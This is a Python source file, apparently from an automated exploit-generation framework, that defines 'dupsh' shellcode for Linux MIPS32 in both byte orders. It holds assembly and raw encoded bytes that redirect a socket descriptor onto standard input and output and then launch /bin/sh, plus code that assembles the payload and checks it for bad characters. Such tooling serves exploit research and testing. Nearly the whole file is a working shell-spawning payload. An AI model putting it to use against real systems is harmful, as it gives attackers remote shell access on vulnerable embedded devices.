import pwnlib
from archinfo import Endness

from ..shellcode import Shellcode
from ..utils import convert_arch


# class LinuxMIPS32Dupsh(Shellcode):
#
#     os = ["unix"]
#     arches = ["mipsel", "mipsbe"]
#     name = "dupsh"
#     asm = """
#     li $t9, ~7
#     not $a0, $t9
#     li $t9, ~2
#     not $a1, $t9
# start:
#     /* call dup2(7,[0,1,2]) */
#     ori $v0, $zero, SYS_dup2
#     syscall 0x40404
#     addi $a1, $a1, -1
#     bgez $a1, start
#     add $t9, $t9, $zero /* nop */
#     /* execve(path='//bin/sh', argv=['sh'], envp={}) */
#     /* push '//bin/sh\x00' */
#     li $t1, 0x69622f2f
#     sw $t1, -12($sp)
#     li $t1, 0x68732f6e
#     sw $t1, -8($sp)
#     sw $zero, -4($sp)
#     addiu $sp, $sp, -12
#     add $a0, $sp, $0 /* mov $a0, $sp */
#     /* push argument array [] */
#     /* push '\x00' */
#     sw $zero, -4($sp)
#     addiu $sp, $sp, -4
#     slti $a2, $zero, 0xFFFF /* $a2 = 0 */
#     sw $a2, -4($sp)
#     addi $sp, $sp, -4 /* null terminate */
#     add $a2, $sp, $0 /* mov $a2, $sp */
#     /* push argument array ['sh\x00'] */
#     /* push 'sh\x00\x00' */
#     ori $t1, $zero, 26739
#     sw $t1, -4($sp)
#     addiu $sp, $sp, -4
#     slti $a1, $zero, 0xFFFF /* $a1 = 0 */
#     sw $a1, -4($sp)
#     addi $sp, $sp, -4 /* null terminate */
#     li $t9, ~4
#     not $a1, $t9
#     add $a1, $sp, $zero
#     sw $a1, -4($sp)
#     addi $sp, $sp, -4 /* 'sh\x00' */
#     add $a1, $sp, $0 /* mov $a1, $sp */
#     /* setregs noop */
#     /* call execve() */
#     ori $v0, $zero, SYS_execve
#     syscall 0x40404
# """
#
#     code_le = (b"%s" +
#                b"\x19$'  \x03\xfd\xff\x19$'( \x03\xdf\x0f\x024\x0c\x01\x01\x01\xff\xff\xa5 \xfc\xff\xa1\x04 \xc8 \x03bi\t<//)5\xf4\xff\xa9\xafsh\t<n/)5\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd'  \xa0\x03\xfc\xff\xa0\xaf\xfc\xff\xbd'\xff\xff\x06(\xfc\xff\xa6\xaf\xfc\xff\xbd# 0\xa0\x03sh\t4\xfc\xff\xa9\xaf\xfc\xff\xbd'\xff\xff\x05(\xfc\xff\xa5\xaf\xfc\xff\xbd#\xfb\xff\x19$'( \x03 (\xa0\x03\xfc\xff\xa5\xaf\xfc\xff\xbd# (\xa0\x03\xab\x0f\x024\x0c\x01\x01\x01"
#                )
#
#
#     code_be = (b"$\x19" +
#                b"%s" +
#                b"\x03  '$\x19\xff\xfd\x03 ('4\x02\x0f\xdf\x01\x01\x01\x0c \xa5\xff\xff\x04\xa1\xff\xfc\x03 \xc8 <\t//5)bi\xaf\xa9\xff\xf4<\tn/5)sh\xaf\xa9\xff\xf8\xaf\xa0\xff\xfc'\xbd\xff\xf4\x03\xa0  \xaf\xa0\xff\xfc'\xbd\xff\xfc(\x06\xff\xff\xaf\xa6\xff\xfc#\xbd\xff\xfc\x03\xa00 4\ths\xaf\xa9\xff\xfc'\xbd\xff\xfc(\x05\xff\xff\xaf\xa5\xff\xfc#\xbd\xff\xfc$\x19\xff\xfb\x03 ('\x03\xa0( \xaf\xa5\xff\xfc#\xbd\xff\xfc\x03\xa0( 4\x02\x0f\xab\x01\x01\x01\x0c")
#
#
#     def __init__(self, fd):
#         # TODO: figure out what to do with this list
#         self.fd = fd[0]
#
#         if self.fd < 0 or self.fd >= 256:
#             raise ValueError("invalid fd specified")
#
#     def raw(self, arch=None):
#         if not arch:
#             raise ValueError("Architecture must be specified.")
#
#         the_arch = convert_arch(arch)
#
#         if the_arch.name != "MIPS32":
#             raise TypeError("%s only supports MIPS32." % str(self.__class__))
#
#         if the_arch.memory_endness == Endness.LE:
#             return self.code_le % (struct.pack('H', (~self.fd) & 0xffff))
#         else:
#             return self.code_be % (struct.pack('H', (~self.fd) & 0xffff))

SHELLCODE_LITTLE_ENDIAN = '''
    /* dup() file descriptor 7 into stdin/stdout/stderr */
dup_5:
    li $t5, 2-0x4141
    add $t5, $t5, 0x4141
loop_6:
    /* dup2(fd={fd}, fd2='$t0') */
    li $t8, {fd}+0x4141
    sub $a0, $t8, 0x4141
    sw $t5, -4($sp) /* mov $a1, $t5*/
    lw $a1, -4($sp)
    /* call dup2() */
    ori $v0, $zero, SYS_dup2
    syscall 0x40404
    lw $t5, -4($sp)
    bgtz $t5,loop_6
    addi $t5,-1

    /* execve(path='//bin/sh', argv=['sh'], envp=[]]) */
    /* push b'//bin/sh\x00' */
    li $t1, 0x69622f2f
    sw $t1, -12($sp)
    li $t1, 0x68732f6e
    sw $t1, -8($sp)
    sw $zero, -4($sp)
    addiu $sp, $sp, -12                         /* here we pushed b'//bin/sh\0\0\0\0' onto the stack' */
    add $t9, $sp, 0x4141 /* mov $a0, $sp */
    sub $a0, $t9, 0x4141                        /* $a0 = &"/bin/sh" */
    /* push argument array ['sh\x00'] */
    /* push b'sh\x00\x00' */
    ori $t1, $zero, 26739
    sw $t1, -4($sp)
    addiu $t9, $sp, -4                          /* save address of "sh\0" in $t9 */
    addiu $sp, $sp, -4                          /* push b"sh\0\0" */

    sw $zero, -4($sp)
    addiu $t8, $sp, -4                          /* save address of null pointer to reuse for envp */
    addi $sp, $sp, -4 /* null terminate */      /* push NULL */

    sw $t9, -4($sp)
    addi $a1, $sp, -4
    addi $sp, $sp, -4 /* 'sh\x00' */            /* push &"sh" */

    add $a2, $t9, -4
    /* setregs noop */
    /* call execve() */
    ori $v0, $zero, SYS_execve
    syscall 0x40404
'''

SHELLCODE_BIG_ENDIAN = '''
    /* dup() file descriptor 7 into stdin/stdout/stderr */
dup_5:
    li $t5, 2-0x4141
    add $t5, $t5, 0x4141
loop_6:
    /* dup2(fd={fd}, fd2='$t0') */
    li $t8, {fd}+0x4141
    sub $a0, $t8, 0x4141
    sw $t5, -4($sp) /* mov $a1, $t5*/
    lw $a1, -4($sp)
    /* call dup2() */
    ori $v0, $zero, SYS_dup2
    syscall 0x40404
    lw $t5, -4($sp)
    bgtz $t5,loop_6
    addi $t5,-1

    /* execve(path='//bin/sh', argv=['sh'], envp=[]]) */
    /* push b'//bin/sh\x00' */
    li $t1, 0x2f2f6269
    sw $t1, -12($sp)
    li $t1, 0x6e2f7368
    sw $t1, -8($sp)
    sw $zero, -4($sp)
    addiu $sp, $sp, -12                         /* here we pushed b'//bin/sh\0\0\0\0' onto the stack' */
    add $t9, $sp, 0x4141 /* mov $a0, $sp */
    sub $a0, $t9, 0x4141                        /* $a0 = &"/bin/sh" */
    /* push argument array ['sh\x00'] */
    /* push b'sh\x00\x00' */
    lui $t1, 0x7368
    sw $t1, -4($sp)
    addiu $t9, $sp, -4                          /* save address of "sh\0" in $t9 */
    addiu $sp, $sp, -4                          /* push b"sh\0\0" */

    sw $zero, -4($sp)
    addiu $t8, $sp, -4                          /* save address of null pointer to reuse for envp */
    addi $sp, $sp, -4 /* null terminate */      /* push NULL */

    sw $t9, -4($sp)
    addi $a1, $sp, -4
    addi $sp, $sp, -4 /* 'sh\x00' */            /* push &"sh" */

    add $a2, $t9, -4
    /* setregs noop */
    /* call execve() */
    ori $v0, $zero, SYS_execve
    syscall 0x40404
'''

class LinuxMIPS32Dupsh(Shellcode):

    os = ["unix"]
    arches = ["mipsel", "mipsbe"]
    name = "dupsh"

    def __init__(self, fd):
        # TODO: figure out what to do with this list
        self.fd = fd[0]

        if self.fd < 0 or self.fd >= 256:
            raise ValueError("invalid fd specified")

    def raw(self, arch=None):
        if not arch:
            raise ValueError("Architecture must be specified.")

        the_arch = convert_arch(arch)

        if the_arch.name != "MIPS32":
            raise TypeError("%s only supports MIPS32." % str(self.__class__))

        endness = 'little' if the_arch.memory_endness == Endness.LE else 'big'
        with pwnlib.context.context.local(arch='mips', endian=endness):
            shellcode = dict(little=SHELLCODE_LITTLE_ENDIAN, big=SHELLCODE_BIG_ENDIAN)[endness]
            shellcode = shellcode.format(fd=self.fd)
            bs = pwnlib.asm.asm(shellcode)
            if self.check_shellcode_for_incompatible_chars(bs):
                print(pwnlib.asm.disasm(bs))

            return bs
